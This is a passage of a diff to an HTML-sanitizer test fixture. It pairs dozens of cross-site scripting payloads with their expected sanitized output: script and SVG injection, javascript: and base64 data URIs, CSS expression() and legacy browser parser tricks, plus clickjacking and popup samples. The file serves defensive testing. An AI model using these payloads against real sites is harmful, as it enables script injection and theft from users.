     "data": "<?xml version=\"1.0\" standalone=\"no\"?>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<style type=\"text/css\">\r\n@font-face {font-family: y; src: url(\"font.svg#x\") format(\"svg\");} body {font: 100px \"y\";}\r\n</style>\r\n</head>\r\n<body>Hello</body>\r\n</html>",
-    "sanitized": "<html><head>\n\n</head>\n<body>Hello\n</body></html>"
+    "sanitized": "<html><head>\n\n</head>\n<body>Hello\n</body></html>",
   },
   {
     "data": "<style>*[{}@import'test.css?]{color: green;}</style>X",
-    "sanitized": "<html><head></head><body>X</body></html>"
+    "sanitized": "<html><head></head><body>X</body></html>",
   },
   {
     "data": "<div style=\"font-family:'foo[a];color:red;';\">XXX</div>",
-    "sanitized": "<html><head></head><body><div>XXX</div></body></html>"
+    "sanitized": "<html><head></head><body><div>XXX</div></body></html>",
   },
   {
     "data": "<div style=\"font-family:foo}color=red;\">XXX</div>",
-    "sanitized": "<html><head></head><body><div>XXX</div></body></html>"
+    "sanitized": "<html><head></head><body><div>XXX</div></body></html>",
   },
   {
     "data": "<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(1)</script></svg>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<OBJECT CLASSID=\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\"><PARAM NAME=\"DataURL\" VALUE=\"javascript:alert(1)\"></OBJECT>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<object data=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"></object>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<embed src=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"></embed>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<x style=\"behavior:url(test.sct)\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<xml id=\"xss\" src=\"test.htc\"></xml>\r\n<label dataformatas=\"html\" datasrc=\"#xss\" datafld=\"payload\"></label>",
-    "sanitized": "<html><head></head><body>\n<label></label></body></html>"
+    "sanitized": "<html><head></head><body>\n<label></label></body></html>",
   },
   {
     "data": "<script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<video><source onerror=\"alert(1)\">",
-    "sanitized": "<html><head></head><body><video controls=\"controls\"><source></video></body></html>"
+    "sanitized": "<html><head></head><body><video controls=\"controls\"><source></video></body></html>",
   },
   {
     "data": "<video onerror=\"alert(1)\"><source></source></video>",
-    "sanitized": "<html><head></head><body><video controls=\"controls\"><source></video></body></html>"
+    "sanitized": "<html><head></head><body><video controls=\"controls\"><source></video></body></html>",
   },
   {
     "data": "<b <script>alert(1)//</script>0</script></b>",
-    "sanitized": "<html><head></head><body><b>alert(1)//0</b></body></html>"
+    "sanitized": "<html><head></head><body><b>alert(1)//0</b></body></html>",
   },
   {
     "data": "<b><script<b></b><alert(1)</script </b></b>",
-    "sanitized": "<html><head></head><body><b></b></body></html>"
+    "sanitized": "<html><head></head><body><b></b></body></html>",
   },
   {
     "data": "<div id=\"div1\"><input value=\"``onmouseover=alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script>",
-    "sanitized": "<html><head></head><body><div id=\"div1\"></div> <div id=\"div2\"></div></body></html>"
+    "sanitized": "<html><head></head><body><div id=\"div1\"></div> <div id=\"div2\"></div></body></html>",
   },
   {
     "data": "<div style=\"[a]color[b]:[c]red\">XXX</div>",
-    "sanitized": "<html><head></head><body><div>XXX</div></body></html>"
+    "sanitized": "<html><head></head><body><div>XXX</div></body></html>",
   },
   {
     "data": "<div  style=\"\\63&#9\\06f&#10\\0006c&#12\\00006F&#13\\R:\\000072 Ed;color\\0\\bla:yellow\\0\\bla;col\\0\\00 \\&#xA0or:blue;\">XXX</div>",
-    "sanitized": "<html><head></head><body><div>XXX</div></body></html>"
+    "sanitized": "<html><head></head><body><div>XXX</div></body></html>",
   },
   {
     "data": "<!-- IE 6-8 -->\r\n<x '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n\r\n<!-- IE 6-9 -->\r\n<! '=\"foo\"><x foo='><img src=x onerror=alert(2)//'>\r\n<? '=\"foo\"><x foo='><img src=x onerror=alert(3)//'>",
-    "sanitized": "<html><head></head><body>\n\n\n\n</body></html>"
+    "sanitized": "<html><head></head><body>\n\n\n\n</body></html>",
   },
   {
     "data": "<embed src=\"javascript:alert(1)\"></embed> // O10.10�, OM10.0�, GC6�, FF\r\n<img src=\"javascript:alert(2)\">\r\n<image src=\"javascript:alert(2)\"> // IE6, O10.10�, OM10.0�\r\n<script src=\"javascript:alert(3)\"></script> // IE6, O11.01�, OM10.1�",
-    "sanitized": "<html><head></head><body> // O10.10�, OM10.0�, GC6�, FF\n<img>\n<img> // IE6, O10.10�, OM10.0�\n // IE6, O11.01�, OM10.1�</body></html>"
+    "sanitized": "<html><head></head><body> // O10.10�, OM10.0�, GC6�, FF\n<img>\n<img> // IE6, O10.10�, OM10.0�\n // IE6, O11.01�, OM10.1�</body></html>",
   },
   {
     "data": "<!DOCTYPE x[<!ENTITY x SYSTEM \"http://html5sec.org/test.xxe\">]><y>&x;</y>",
-    "sanitized": "<!DOCTYPE x[<!entity>\n<html><head></head><body>]&gt;&amp;x;</body></html>"
+    "sanitized": "<!DOCTYPE x[<!entity>\n<html><head></head><body>]&gt;&amp;x;</body></html>",
   },
   {
     "data": "<svg onload=\"javascript:alert(1)\" xmlns=\"http://www.w3.org/2000/svg\"></svg>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<?xml version=\"1.0\"?>\n<?xml-stylesheet type=\"text/xsl\" href=\"data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E\"?>\n<root/>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<!DOCTYPE x [\r\n\t<!ATTLIST img xmlns CDATA \"http://www.w3.org/1999/xhtml\" src CDATA \"xx:x\"\r\n onerror CDATA \"alert(1)\"\r\n onload CDATA \"alert(2)\">\r\n]><img />",
-    "sanitized": "<!DOCTYPE x>\n<html><head></head><body>]&gt;<img></body></html>"
+    "sanitized": "<!DOCTYPE x>\n<html><head></head><body>]&gt;<img></body></html>",
   },
   {
     "data": "<doc xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:html=\"http://www.w3.org/1999/xhtml\">\r\n\t<html:style /><x xlink:href=\"javascript:alert(1)\" xlink:type=\"simple\">XXX</x>\r\n</doc>",
-    "sanitized": "<html><head></head><body>\n\tXXX\n</body></html>"
+    "sanitized": "<html><head></head><body>\n\tXXX\n</body></html>",
   },
   {
     "data": "<card xmlns=\"http://www.wapforum.org/2001/wml\"><onevent type=\"ontimer\"><go href=\"javascript:alert(1)\"/></onevent><timer value=\"1\"/></card>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>",
-    "sanitized": "<html><head></head><body><div>x</div></body></html>"
+    "sanitized": "<html><head></head><body><div>x</div></body></html>",
   },
   {
     "data": "<// style=x:expression\\28write(1)\\29>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<form><button formaction=\"javascript:alert(1)\">X</button>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<event-source src=\"event.php\" onload=\"alert(1)\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<a href=\"javascript:alert(1)\"><event-source src=\"data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A\" /></a>",
-    "sanitized": "<html><head></head><body><a></a></body></html>"
+    "sanitized": "<html><head></head><body><a></a></body></html>",
   },
   {
     "data": "<script<{alert(1)}/></script </>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<?xml-stylesheet type=\"text/css\"?><!DOCTYPE x SYSTEM \"test.dtd\"><x>&x;</x>",
-    "sanitized": "<!DOCTYPE x SYSTEM \"test.dtd\">\n<html><head></head><body>&amp;x;</body></html>"
+    "sanitized": "<!DOCTYPE x SYSTEM \"test.dtd\">\n<html><head></head><body>&amp;x;</body></html>",
   },
   {
     "data": "<?xml-stylesheet type=\"text/css\"?><root style=\"x:expression(write(1))\"/>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<?xml-stylesheet type=\"text/xsl\" href=\"#\"?><img xmlns=\"x-schema:test.xdr\"/>",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<object allowscriptaccess=\"always\" data=\"test.swf\"></object>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<style>*{x:EXPRESSION(write(1))}</style>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<x xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:actuate=\"onLoad\" xlink:href=\"javascript:alert(1)\" xlink:type=\"simple\"/>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<?xml-stylesheet type=\"text/css\" href=\"data:,*%7bx:expression(write(2));%7d\"?>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<x:template xmlns:x=\"http://www.wapforum.org/2001/wml\"  x:ontimer=\"$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)\"><x:timer value=\"1\"/></x:template>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"javascript:alert(1)//#x\"/>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"test.evt#x\"/>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<body oninput=alert(1)><input autofocus>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\n<a xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:href=\"javascript:alert(1)\"><rect width=\"1000\" height=\"1000\" fill=\"white\"/></a>\n</svg>",
-    "sanitized": "<html><head></head><body>\n\n</body></html>"
+    "sanitized": "<html><head></head><body>\n\n</body></html>",
   },
   {
     "data": "<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n\n<animation xlink:href=\"javascript:alert(1)\"/>\n<animation xlink:href=\"data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E\"/>\n\n<image xlink:href=\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E\"/>\n\n<foreignObject xlink:href=\"javascript:alert(1)\"/>\n<foreignObject xlink:href=\"data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(1)%3C/script%3E\"/>\n\n</svg>",
-    "sanitized": "<html><head></head><body>\n\n\n\n\n\n\n\n\n\n</body></html>"
+    "sanitized": "<html><head></head><body>\n\n\n\n\n\n\n\n\n\n</body></html>",
   },
   {
     "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\n<set attributeName=\"onmouseover\" to=\"alert(1)\"/>\n<animate attributeName=\"onunload\" to=\"alert(1)\"/>\n</svg>",
-    "sanitized": "<html><head></head><body>\n\n\n</body></html>"
+    "sanitized": "<html><head></head><body>\n\n\n</body></html>",
   },
   {
     "data": "<!-- Up to Opera 10.63 -->\r\n<div style=content:url(test2.svg)></div>\r\n\r\n<!-- Up to Opera 11.64 - see link below -->\r\n\r\n<!-- Up to Opera 12.x -->\r\n<div style=\"background:url(test5.svg)\">PRESS ENTER</div>",
-    "sanitized": "<html><head></head><body><div></div>\n\n\n\n\n<div>PRESS ENTER</div></body></html>"
+    "sanitized": "<html><head></head><body><div></div>\n\n\n\n\n<div>PRESS ENTER</div></body></html>",
   },
   {
     "data": "[A]\n<? foo=\"><script>alert(1)</script>\">\n<! foo=\"><script>alert(1)</script>\">\n</ foo=\"><script>alert(1)</script>\">\n[B]\n<? foo=\"><x foo='?><script>alert(1)</script>'>\">\n[C]\n<! foo=\"[[[x]]\"><x foo=\"]foo><script>alert(1)</script>\">\n[D]\n<% foo><x foo=\"%><script>alert(1)</script>\">",
-    "sanitized": "<html><head></head><body>[A]\n\"&gt;\n\"&gt;\n\"&gt;\n[B]\n\"&gt;\n[C]\n\n[D]\n&lt;% foo&gt;</body></html>"
+    "sanitized": "<html><head></head><body>[A]\n\"&gt;\n\"&gt;\n\"&gt;\n[B]\n\"&gt;\n[C]\n\n[D]\n&lt;% foo&gt;</body></html>",
   },
   {
     "data": "<div style=\"background:url(http://foo.f/f oo/;color:red/*/foo.jpg);\">X</div>",
-    "sanitized": "<html><head></head><body><div>X</div></body></html>"
+    "sanitized": "<html><head></head><body><div>X</div></body></html>",
   },
   {
     "data": "<div style=\"list-style:url(http://foo.f)\\20url(javascript:alert(1));\">X</div>",
-    "sanitized": "<html><head></head><body><div>X</div></body></html>"
+    "sanitized": "<html><head></head><body><div>X</div></body></html>",
   },
   {
     "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\n<handler xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\">alert(1)</handler>\n</svg>",
-    "sanitized": "<html><head></head><body>\nalert(1)\n</body></html>"
+    "sanitized": "<html><head></head><body>\nalert(1)\n</body></html>",
   },
   {
     "data": "<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<feImage>\n<set attributeName=\"xlink:href\" to=\"data:image/svg+xml;charset=utf-8;base64,\nPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D\"/>\n</feImage>\n</svg>",
-    "sanitized": "<html><head></head><body>\n\n\n\n</body></html>"
+    "sanitized": "<html><head></head><body>\n\n\n\n</body></html>",
   },
   {
     "data": "<iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe>\n<iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>",
-    "sanitized": "<html><head></head><body>\n</body></html>"
+    "sanitized": "<html><head></head><body>\n</body></html>",
   },
   {
     "data": "<!-- IE 5-9 -->\r\n<div id=d><x xmlns=\"><iframe onload=alert(1)\"></div>\n<script>d.innerHTML+='';</script>\r\n\r\n<!-- IE 10 in IE5-9 Standards mode -->\r\n<div id=d><x xmlns='\"><iframe onload=alert(2)//'></div>\n<script>d.innerHTML+='';</script>",
-    "sanitized": "<html><head></head><body><div id=\"d\"></div>\n\n\n\n<div id=\"d\"></div>\n</body></html>"
+    "sanitized": "<html><head></head><body><div id=\"d\"></div>\n\n\n\n<div id=\"d\"></div>\n</body></html>",
   },
   {
     "data": "<div id=d><div style=\"font-family:'sans\\27\\2F\\2A\\22\\2A\\2F\\3B color\\3Ared\\3B'\">X</div></div>\n<script>with(document.getElementById(\"d\"))innerHTML=innerHTML</script>",
-    "sanitized": "<html><head></head><body><div id=\"d\"><div>X</div></div>\n</body></html>"
+    "sanitized": "<html><head></head><body><div id=\"d\"><div>X</div></div>\n</body></html>",
   },
   {
     "data": "XXX<style>\r\n\r\n*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */\r\n\r\n<!--\r\n--><!--*{color:red}   /* all UA */\r\n\r\n*{background:url(xx:x //**/\\red/*)} /* IE 6-7 Standards mode */\r\n\r\n</style>",
-    "sanitized": "<html><head></head><body>XXX</body></html>"
+    "sanitized": "<html><head></head><body>XXX</body></html>",
   },
   {
     "data": "<img[a][b]src=x[d]onerror[c]=[e]\"alert(1)\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<a href=\"[a]java[b]script[c]:alert(1)\">XXX</a>",
-    "sanitized": "<html><head></head><body><a>XXX</a></body></html>"
+    "sanitized": "<html><head></head><body><a>XXX</a></body></html>",
   },
   {
     "data": "<img src=\"x` `<script>alert(1)</script>\"` `>",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<script>history.pushState(0,0,'/i/am/somewhere_else');</script>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<svg xmlns=\"http://www.w3.org/2000/svg\" id=\"foo\">\r\n<x xmlns=\"http://www.w3.org/2001/xml-events\" event=\"load\" observer=\"foo\" handler=\"data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(1) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar\"/>\r\n</svg>",
-    "sanitized": "<html><head></head><body>\n\n</body></html>"
+    "sanitized": "<html><head></head><body>\n\n</body></html>",
   },
   {
     "data": "<iframe src=\"data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03\"></iframe>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<img src onerror /\" '\"= alt=alert(1)//\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<title onpropertychange=alert(1)></title><title title=></title>",
-    "sanitized": "<html><head><title></title><title title=\"\"></title></head><body></body></html>"
+    "sanitized": "<html><head><title></title><title title=\"\"></title></head><body></body></html>",
   },
   {
     "data": "<!-- IE 5-8 standards mode -->\r\n<a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=xx:x onerror=alert(1)></a>\">\r\n\r\n<!-- IE 5-9 standards mode -->\r\n<!a foo=x=`y><img alt=\"`><img src=xx:x onerror=alert(2)//\">\r\n<?a foo=x=`y><img alt=\"`><img src=xx:x onerror=alert(3)//\">",
-    "sanitized": "<html><head></head><body><a href=\"http://foo.bar/#x=`y\"></a><img alt=\"`&gt;&lt;img src=xx:x onerror=alert(1)&gt;&lt;/a&gt;\">\n\n\n<img alt=\"`&gt;&lt;img src=xx:x onerror=alert(2)//\">\n<img alt=\"`&gt;&lt;img src=xx:x onerror=alert(3)//\"></body></html>"
+    "sanitized": "<html><head></head><body><a href=\"http://foo.bar/#x=`y\"></a><img alt=\"`&gt;&lt;img src=xx:x onerror=alert(1)&gt;&lt;/a&gt;\">\n\n\n<img alt=\"`&gt;&lt;img src=xx:x onerror=alert(2)//\">\n<img alt=\"`&gt;&lt;img src=xx:x onerror=alert(3)//\"></body></html>",
   },
   {
     "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\n<a id=\"x\"><rect fill=\"white\" width=\"1000\" height=\"1000\"/></a>\n<rect  fill=\"white\" style=\"clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);\"/>\n</svg>",
-    "sanitized": "<html><head></head><body>\n\n\n</body></html>"
+    "sanitized": "<html><head></head><body>\n\n\n</body></html>",
   },
   {
     "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\r\n<path d=\"M0,0\" style=\"marker-start:url(test4.svg#a)\"/>\r\n</svg>",
-    "sanitized": "<html><head></head><body>\n\n</body></html>"
+    "sanitized": "<html><head></head><body>\n\n</body></html>",
   },
   {
     "data": "<div style=\"background:url(/f#[a]oo/;color:red/*/foo.jpg);\">X</div>",
-    "sanitized": "<html><head></head><body><div>X</div></body></html>"
+    "sanitized": "<html><head></head><body><div>X</div></body></html>",
   },
   {
     "data": "<div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X</div>",
-    "sanitized": "<html><head></head><body><div>X</div></body></html>"
+    "sanitized": "<html><head></head><body><div>X</div></body></html>",
   },
   {
     "data": "<div id=\"x\">XXX</div>\n<style>\n\n#x{font-family:foo[bar;color:green;}\n\n#y];color:red;{}\n\n</style>",
-    "sanitized": "<html><head></head><body><div id=\"x\">XXX</div>\n</body></html>"
+    "sanitized": "<html><head></head><body><div id=\"x\">XXX</div>\n</body></html>",
   },
   {
     "data": "<x style=\"background:url('x[a];color:red;/*')\">XXX</x>",
-    "sanitized": "<html><head></head><body>XXX</body></html>"
+    "sanitized": "<html><head></head><body>XXX</body></html>",
   },
   {
     "data": "<!--[if]><script>alert(1)</script -->\r\n<!--[if<img src=x onerror=alert(2)//]> -->",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<div id=\"x\">x</div>\n<xml:namespace prefix=\"t\">\n<import namespace=\"t\" implementation=\"#default#time2\">\n<t:set attributeName=\"innerHTML\" targetElement=\"x\" to=\"&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;\">",
-    "sanitized": "<html><head></head><body><div id=\"x\">x</div>\n\n\n</body></html>"
+    "sanitized": "<html><head></head><body><div id=\"x\">x</div>\n\n\n</body></html>",
   },
   {
     "data": "<a href=\"http://attacker.org\">\n\t<iframe src=\"http://example.org/\"></iframe>\n</a>",
-    "sanitized": "<html><head></head><body><a href=\"http://attacker.org\">\n\t\n</a></body></html>"
+    "sanitized": "<html><head></head><body><a href=\"http://attacker.org\">\n\t\n</a></body></html>",
   },
   {
     "data": "<div draggable=\"true\" ondragstart=\"event.dataTransfer.setData('text/plain','malicious code');\">\n\t<h1>Drop me</h1>\n</div>\n\n<iframe src=\"http://www.example.org/dropHere.html\"></iframe>",
-    "sanitized": "<html><head></head><body><div draggable=\"true\">\n\t<h1>Drop me</h1>\n</div>\n\n</body></html>"
+    "sanitized": "<html><head></head><body><div draggable=\"true\">\n\t<h1>Drop me</h1>\n</div>\n\n</body></html>",
   },
   {
     "data": "<iframe src=\"view-source:http://www.example.org/\" frameborder=\"0\" style=\"width:400px;height:180px\"></iframe>\n\n<textarea type=\"text\" cols=\"50\" rows=\"10\"></textarea>",
-    "sanitized": "<html><head></head><body>\n\n<textarea type=\"text\" cols=\"50\" rows=\"10\"></textarea></body></html>"
+    "sanitized": "<html><head></head><body>\n\n<textarea type=\"text\" cols=\"50\" rows=\"10\"></textarea></body></html>",
   },
   {
     "data": "<script>\nfunction makePopups(){\n\tfor (i=1;i<6;i++) {\n\t\twindow.open('popup.html','spam'+i,'width=50,height=50');\n\t}\n}\n</script>\n\n<body>\n<a href=\"#\" onclick=\"makePopups()\">Spam</a>",
-    "sanitized": "<html><head>\n\n</head><body>\n<a href=\"#\">Spam</a></body></html>"
+    "sanitized": "<html><head>\n\n</head><body>\n<a href=\"#\">Spam</a></body></html>",
   },
   {
     "data": "<html xmlns=\"http://www.w3.org/1999/xhtml\"\nxmlns:svg=\"http://www.w3.org/2000/svg\">\n<body style=\"background:gray\">\n<iframe src=\"http://example.com/\" style=\"width:800px; height:350px; border:none; mask: url(#maskForClickjacking);\"/>\n<svg:svg>\n<svg:mask id=\"maskForClickjacking\" maskUnits=\"objectBoundingBox\" maskContentUnits=\"objectBoundingBox\">\n\t<svg:rect x=\"0.0\" y=\"0.0\" width=\"0.373\" height=\"0.3\" fill=\"white\"/>\n\t<svg:circle cx=\"0.45\" cy=\"0.7\" r=\"0.075\" fill=\"white\"/>\n</svg:mask>\n</svg:svg>\n</body>\n</html>",
-    "sanitized": "<html><head></head><body>\n\n&lt;svg:svg&gt;\n&lt;svg:mask id=\"maskForClickjacking\" maskUnits=\"objectBoundingBox\" maskContentUnits=\"objectBoundingBox\"&gt;\n\t&lt;svg:rect x=\"0.0\" y=\"0.0\" width=\"0.373\" height=\"0.3\" fill=\"white\"/&gt;\n\t&lt;svg:circle cx=\"0.45\" cy=\"0.7\" r=\"0.075\" fill=\"white\"/&gt;\n&lt;/svg:mask&gt;\n&lt;/svg:svg&gt;\n&lt;/body&gt;\n&lt;/html&gt;</body></html>"
+    "sanitized": "<html><head></head><body>\n\n&lt;svg:svg&gt;\n&lt;svg:mask id=\"maskForClickjacking\" maskUnits=\"objectBoundingBox\" maskContentUnits=\"objectBoundingBox\"&gt;\n\t&lt;svg:rect x=\"0.0\" y=\"0.0\" width=\"0.373\" height=\"0.3\" fill=\"white\"/&gt;\n\t&lt;svg:circle cx=\"0.45\" cy=\"0.7\" r=\"0.075\" fill=\"white\"/&gt;\n&lt;/svg:mask&gt;\n&lt;/svg:svg&gt;\n&lt;/body&gt;\n&lt;/html&gt;</body></html>",
   },
   {
     "data": "<iframe sandbox=\"allow-same-origin allow-forms allow-scripts\" src=\"http://example.org/\"></iframe>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<span class=foo>Some text</span>\n<a class=bar href=\"http://www.example.org\">www.example.org</a>\n\n<script src=\"http://code.jquery.com/jquery-1.4.4.js\"></script>\n<script>\n$(\"span.foo\").click(function() {\nalert('foo');\n$(\"a.bar\").click();\n});\n$(\"a.bar\").click(function() {\nalert('bar');\nlocation=\"http://html5sec.org\";\n});\n</script>",
-    "sanitized": "<html><head></head><body><span class=\"foo\">Some text</span>\n<a class=\"bar\" href=\"http://www.example.org\">www.example.org</a>\n\n\n</body></html>"
+    "sanitized": "<html><head></head><body><span class=\"foo\">Some text</span>\n<a class=\"bar\" href=\"http://www.example.org\">www.example.org</a>\n\n\n</body></html>",
   },
   {
     "data": "<script src=\"/\\example.com\\foo.js\"></script> // Safari 5.0, Chrome 9, 10\n<script src=\"\\\\example.com\\foo.js\"></script> // Safari 5.0",
-    "sanitized": "<html><head> </head><body>// Safari 5.0, Chrome 9, 10\n // Safari 5.0</body></html>"
+    "sanitized": "<html><head> </head><body>// Safari 5.0, Chrome 9, 10\n // Safari 5.0</body></html>",
   },
   {
     "data": "<?xml version=\"1.0\"?>\r\n<?xml-stylesheet type=\"text/xml\" href=\"#stylesheet\"?>\r\n<!DOCTYPE doc [\r\n<!ATTLIST xsl:stylesheet\r\n  id    ID    #REQUIRED>]>\r\n<svg xmlns=\"http://www.w3.org/2000/svg\">\r\n    <xsl:stylesheet id=\"stylesheet\" version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\r\n        <xsl:template match=\"/\">\r\n            <iframe xmlns=\"http://www.w3.org/1999/xhtml\" src=\"javascript:alert(1)\"></iframe>\r\n        </xsl:template>\r\n    </xsl:stylesheet>\r\n    <circle fill=\"red\" r=\"40\"></circle>\r\n</svg>",
-    "sanitized": "<!DOCTYPE doc>\n<html><head></head><body>]&gt;\n\n    \n        \n            \n        \n    \n    \n</body></html>"
+    "sanitized": "<!DOCTYPE doc>\n<html><head></head><body>]&gt;\n\n    \n        \n            \n        \n    \n    \n</body></html>",
   },
   {
     "data": "<object id=\"x\" classid=\"clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598\"></object>\r\n<object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\" onqt_error=\"alert(1)\" style=\"behavior:url(#x);\"><param name=postdomevents /></object>",
-    "sanitized": "<html><head></head><body>\n</body></html>"
+    "sanitized": "<html><head></head><body>\n</body></html>",
   },
   {
     "data": "<svg xmlns=\"http://www.w3.org/2000/svg\" id=\"x\">\r\n<listener event=\"load\" handler=\"#y\" xmlns=\"http://www.w3.org/2001/xml-events\" observer=\"x\"/>\r\n<handler id=\"y\">alert(1)</handler>\r\n</svg>",
-    "sanitized": "<html><head></head><body>\n\nalert(1)\n</body></html>"
+    "sanitized": "<html><head></head><body>\n\nalert(1)\n</body></html>",
   },
   {
     "data": "<svg><style>&lt;img/src=x onerror=alert(1)// </b>",
